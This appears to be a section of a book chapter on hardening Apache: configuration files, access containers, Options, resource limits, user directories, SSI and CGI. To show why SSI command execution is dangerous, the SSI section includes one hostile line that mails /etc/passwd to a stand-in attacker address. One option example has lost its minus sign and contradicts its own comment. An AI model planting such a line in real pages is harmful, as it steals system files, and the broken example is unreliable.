Section 8.3. Setup Time: Configuring Apache

Configuring a web server is like configuring an email or DNS server ? small changes can have unforeseen consequences. Most web security problems are caused by configuration errors rather than exploits of the Apache code.

8.3.1 Apache Configuration Files

I mentioned that Apache's configuration files could be found under /etc/httpd/conf, /usr/local/apache/conf, or some less well-lit place. The most prominent file is httpd.conf, but you will also see access.conf and srm.conf. These are historic remnants from the original NCSA web server. You can put any of Apache's configuration directives in any of these files. In practice, people usually throw everything into httpd.conf. If you'd like to separate security-related directives from others, put them in access.conf. This has some advantages: access.conf is smaller, an editing error won't break everything else, and security settings are more visible. But everything will work fine if you make your changes in httpd.conf.

There are also GUI tools to modify the Apache configuration, such as Red Hat's X-based Apache Configuration Tool or the web-based webmin. Here, we'll do it the old-fashioned text way and supply more information in place of screenshots.

Any time you change Apache's configuration, check it before restarting the server:

# apachectl configtest

If this succeeds, start Apache:

# apachectl start

Before starting Apache, let's see how secure we can make it.

8.3.2 Configuration Options

To see what options your copy of Apache understands, run the following:

httpd -L

This reflects the modules that have been included, either dynamically or statically. I'll discuss the core options later. You will need to include other modules to understand their special options.

8.3.2.1 User and group

In "Securing Apache's File Hierarchy," I covered which user and group IDs to use for Apache and its files. Apache is started by root, but the runtime ownership of all the Apache child processes is specified by the User and Group options. These directives should match your choices:

User apache

Group apache

Do not use root for the user ID! Choose an ID with the least privilege and no login shell.

8.3.2.2 Files and directories

The top of the server directory hierarchy is ServerRoot:

ServerRoot /usr/local/apache

The top of the web-content hierarchy (for static HTML files, not CGI scripts) is DocumentRoot:

DocumentRoot /usr/local/apache/htdocs
8.3.2.3 Listen

By default, Apache listens on all IP addresses. Listen specifies which IP addresses and/or ports Apache should serve.

For initial testing, you can force Apache to serve only the local address:

Listen 127.0.0.1

or a different port:

Listen 81

This is useful if you need to keep your current server live while testing the new one.

Address and port may be combined:

Listen 202.203.204.205:82

Use multiple Listen directives to specify more than one address or port. You may modify your firewall rules to restrict access from certain external addresses while testing your configuration. In Apache 2.0, Listen is mandatory and replaces the old BindAddress directive.

8.3.2.4 Containers: Directory, Location, and Files

Apache controls access to resources (files, scripts, and other things) with the container directives: Directory, Location, and Files. Directory applies to an actual directory in the web server's filesystems. Location refers to a URL, so its actual location is relative to DocumentRoot (Location / = DocumentRoot). Files refers to filenames, which may be in different directories.

Each of these has a counterpart that uses regular expressions: DirectoryMatch, LocationMatch, and FilesMatch.

Within these containers are directives that specify access control (what can be done) and authorization (by whom).

I'll trot out least privilege again and lock Apache down by default (put this in access.conf if you want to keep httpd.conf pristine):

<Directory />

Options none

AllowOverride none

Order deny,allow

Deny from all

</Directory>

By itself, this is a bit extreme. It won't serve anything to anyone, even if you're testing from the same machine. Try it, just to ensure you can lock yourself out. Then open the door slightly:

<Directory /usr/local/apache/htdocs>

Deny from all

Allow from 127.0.0.1

</Directory>

Now you can use a command-line web utility (such as wget, lynx, or curl) or a graphic browser on the same box to test Apache. Does it return a page? Do you see it logged in access.log? If not, what does error_log say?

8.3.2.5 Options

Table 8-3 lists the possible values for Options.

Table 8-3. Apache resource options

Value

Description

All

Allow all but MultiViews. You don't want to be this generous. This is the default!

ExecCGI

Allow CGI scripts. Use sparingly.

FollowSymLinks

Follow symbolic links. This is a slight efficiency gain, since Apache avoids a stat call.

SymLinksIfOwnerMatch

Follow symbolic links only if the target and the link have the same owner. This is safer than FollowSymLinks.

Includes

Allow SSI, including #exec cgi. Beware.

IncludesNoExec

Allow SSI, but no #exec or #exec cgi. Use this if you only want file inclusion.

Indexes

Show a formatted directory listing if no DirectoryIndex file (such as index.html) is found. This should be avoided, since it may reveal more about your site than you intend.

MultiViews

This governs content negotiation (e.g., multiple languages) and should otherwise bedisabled.

Preceding an option value with a minus (-) removes it from the current options, preceding it with plus (+) adds it, and a bare value is absolute:

# Add Indexes to current options:

Options +Indexes

# Remove Indexes from current options:

Options Indexes

# Make Indexes the only current option, disabling the others:

Options Indexes
8.3.2.6 Resource limits

Table 8-4 lists the directives to help avoid resource exhaustion from Denial of Service attacks or runaway CGI programs.

Table 8-4. Apache resource limits

Directive

Default

Usage

MaxClients

256

Maximum number of simultaneous requests. Make sure you have enough memory for this many simultaneous copies of httpd, unless you like to watch your disk lights blink furiously during swapping.

MaxRequestsPerChild

0

Maximum requests for a child process (0=infinite). A positive value helps limit bloat from memory leaks.

KeepAlive
on

Allow HTTP 1.1 keepalives (reuse of TCP connection). This increases throughput and is recommended.

MaxKeepAliveRequests

100

Maximum requests per connection if KeepAlive is on.

KeepAliveTimeout

15

Maximum seconds to wait for a subsequent request on the same connection. Lower this if you get close to MaxClients.

RLimitCPU
soft,[max]

Soft and maximum limits for seconds per process.

RLimitMEM
soft,[max]

Soft and maximum limits for bytes per process.

RLimitNPROC
soft,[max]

Soft and maximum limits for number of processes.

LimitRequestBody

0

Maximum bytes in a request body (0=infinite). You can limit uploaded file sizes with this.

LimitRequestFields

100

Maximum request header fields. Make sure this value is greater than the number of fields in any of your forms.

LimitRequestFieldSize

8190

Maximum bytes in an HTTP header request field.

LimitRequestLine

8190

Maximum bytes in an HTTP header request line. This limits abnormally large GET or HEAD requests, which may be hostile.

8.3.2.7 User directories

If you don't need to provide user directories on your web server, disable them:

UserDir disabled

You can support only some users:

UserDir disabled

UserDir enabled good_user_1, careful_user_2

If you want to enable all your users, disable root and other system accounts:

UserDir enabled

UserDir disabled root

To prevent users from installing their own .htaccess files, specify:

UserDir /home/*/public_html

<Directory /home/*/public_html>

AllowOverride None

</Directory>

8.3.3 Static Content

Static content includes HTML, JavaScript, Flash, images, and other files that are served directly by the web server without interpretation. The files and their directories need to be readable by the user ID running Apache (apache, in our examples).

Static files don't pose much of a security threat on the server side. The web server just reads them and sends them to the requesting browser. Although there are many security issues with web browsers, client security is outside the scope of this chapter. Watch your browser vendor's web site for security news, patches, and new versions.

8.3.4 Dynamic Content: Server-Side Includes (SSI)

A step up from purely static pages, server-side includes allow inclusion of other static content, special dynamic content such as file-modification times, and even the output from the execution of external programs. Unlike CGI scripts, there is no way to pass input arguments to an SSI page.

8.3.4.1 SSI configuration

Apache needs to be told that an SSI file is not a lump of inert HTML, but should be parsed for SSI directives. First, check that includes are permitted for at least some files in this directory. Add this to httpd.conf or access.conf:

<Location /ssi_dir>

Options IncludesNoExec

</Location>

One way to differentiate HTML from SSI files is to use a special suffix like .shtml and associate it with Apache's built-in MIME type for parsable content:

AddType application/x-server-parsed .shtml

or just assign the Apache handler directly:

AddHandler server-parsed .shtml

Using this tells the world that your pages use server-side includes. If you'd like to conceal this fact, use another suffix. One trick I've seen is to use .html for static text and .htm for SSI text:

AddHandler server-parsed .htm

A little-known feature of Apache is its ability to use the execute bit of a file to indicate that it should be parsed. I've used this to mix static and parsed HTML files in the same directory with the same suffix. The directive is as follows:

<Location /ssi_dir>

Options +IncludesNoExec

XBitHack full

</Location>

The extra attribute full tells Apache to check the modification time of the included file rather than the including file. To change an HTML file into an SSI file, just use the following:

chmod +x changeling.html
8.3.4.2 Including files

The most basic use of SSI is for inclusion of static files. For example, a site can include a standard header and footer on each page:

<!--#include virtual="header.html"-->

. . . variable content goes here . . .

<!--#include virtual="footer.html"-->

What can you do with SSI? Give the virtual attribute a relative URL to include that file's content:

<!--#include virtual="included_file.html"-->

You can also include the output of a local CGI script by giving its relative URL:

<!--#include virtual="/cgi-bin/script"-->
8.3.4.3 Executing commands

If Options Includes was set, you can also execute any external command on the web server, which is quite dangerous. The following is a benign example:

<!--#exec cmd="ls -l /"-->

SSI can't get arguments from the client, so any command and arguments are fixed. Since you specify the commands, you might feel safe. However, anyone with write access to /ssi_dir could upload an HTML file containing an SSI #exec string:

<!--#exec cmd="mail evil@weasel.org < /etc/passwd"-->

If you allow people to upload HTML (say, in a guestbook application), forbid SSI execution in the target directory, and untaint the input (see the "Forms and Input Data Validation" section).

Similar vulnerabilities have been seen in utilities that create HTML, like email digesters and web-log analyzers. If you must have SSI, but don't need executable external commands, always exclude them:

<Location /ssi_dir>

Options IncludesNoExec

</Location>

Options Includes permits all SSI, including executable commands, so use Options IncludesNoExec.

8.3.5 Dynamic Content: Common Gateway Interface (CGI)

The CGI is a protocol for sending queries and data via HTTP to a program on the web server. The CGI program can be written in any language, interpreted or compiled. Surprisingly, there is still no final RFC that defines CGI. CGI 1.1 is described at http://hoohoo.ncsa.uiuc.edu/cgi/interface.html. Also, see The CGI Programming MetaFAQ (http://www.perl.org/CGI_MetaFAQ.html).

8.3.5.1 Standalone and built-in CGI interpreters

The CGI protocol doesn't specify how the web server should communicate with the CGI program. There have been two main solutions:

Standalone CGI programs

Apache receives a CGI request, opens a two-way pipe to an external program, sends it the CGI input data, and returns the program's output to the client. As a separate process, the program can crash without bringing down the web server. The down side is that it's relatively slow to start a new process.

Built-in CGI programs

The program is rewritten as an Apache module and incurs its startup cost only when an Apache process starts. This is much faster than an external program and has access to Apache's internals and other modules. The most popular modules for CGI in Apache are the interpreter engines for Perl (mod_perl) and PHP (mod_php).

8.3.5.2 Specifying CGI programs

There are a couple ways to tell Apache to treat a file as a CGI script rather than a static file:

Treat every file within a directory as a CGI script:

ScriptAlias /cgi-bin /usr/local/apache/cgi-bin

The directory for ScriptAlias must be outside the DocumentRoot hierarchy. Otherwise, anyone can access its contents as normal files and download or view their contents.

Allow some files in a directory to be CGI scripts:

<Location /usr/local/apache/mixed>

Options ExecCGI

</Location>

Mixing static files and scripts is dangerous, since a configuration typo could cause Apache to treat a script file as a normal file and allow users to view its contents. If you do mix files and scripts, you need to tell Apache which files are CGI scripts and which are static files. Use a file suffix or some other naming convention for the script. We'll see how to protect files shortly.

Don't put a script interpreter program in a CGI directory. For instance, don't put the binary for Perl or a standalone PHP in /usr/local/apache/cgi-bin. This lets anyone run them without restrictions. CGI scripts should be as simple and focused as possible.

Expect trouble if users can upload files to a directory and execute them as CGI scripts. Consider using suEXEC (described next) or limiting CGI scripts to directories where you can see them.

8.3.5.3 suEXEC

Normally, CGI programs will all be run with Apache's user ID and group. If you have multiple users and virtual hosts, this lets them run each other's scripts and access each other's data. What if you have a web-hosting service and want to let your customers run their own CGI scripts, but no one else's? That's a job for Apache's suEXEC facility.

suEXEC is a setuid root program that wraps scripts to run with a specified user ID and group ID. Scripts need to pass a number of security guidelines before they will be accepted. As with any setuid root program, beware of potential dangers from any exploit or botched configuration. Documentation is at http://httpd.apache.org/docs-2.0/suexec.html.

8.3.5.4 FastCGI

FastCGI is an alternative for creating CGI programs without the startup time of a standalone program, but also without the complexity of an Apache module. The protocol is language independent, and libraries are available for the most common web languages. Details are available at www.fastcgi.com.

FastCGI falls somewhere between standalone and module-based CGI. It starts an external CGI program, but maintains a persistent connection through the Apache module mod_fastcgi.

Scripts need slight modification to work with FastCGI. You must have set Options ExecCGI in httpd.conf to enable a FastCGI application, just as you would any other CGI program. If you want to allow use of suEXEC with FastCGI, set FastCGIWrapper On. FastCGI scripts are vulnerable to the same problems as any CGI scripts.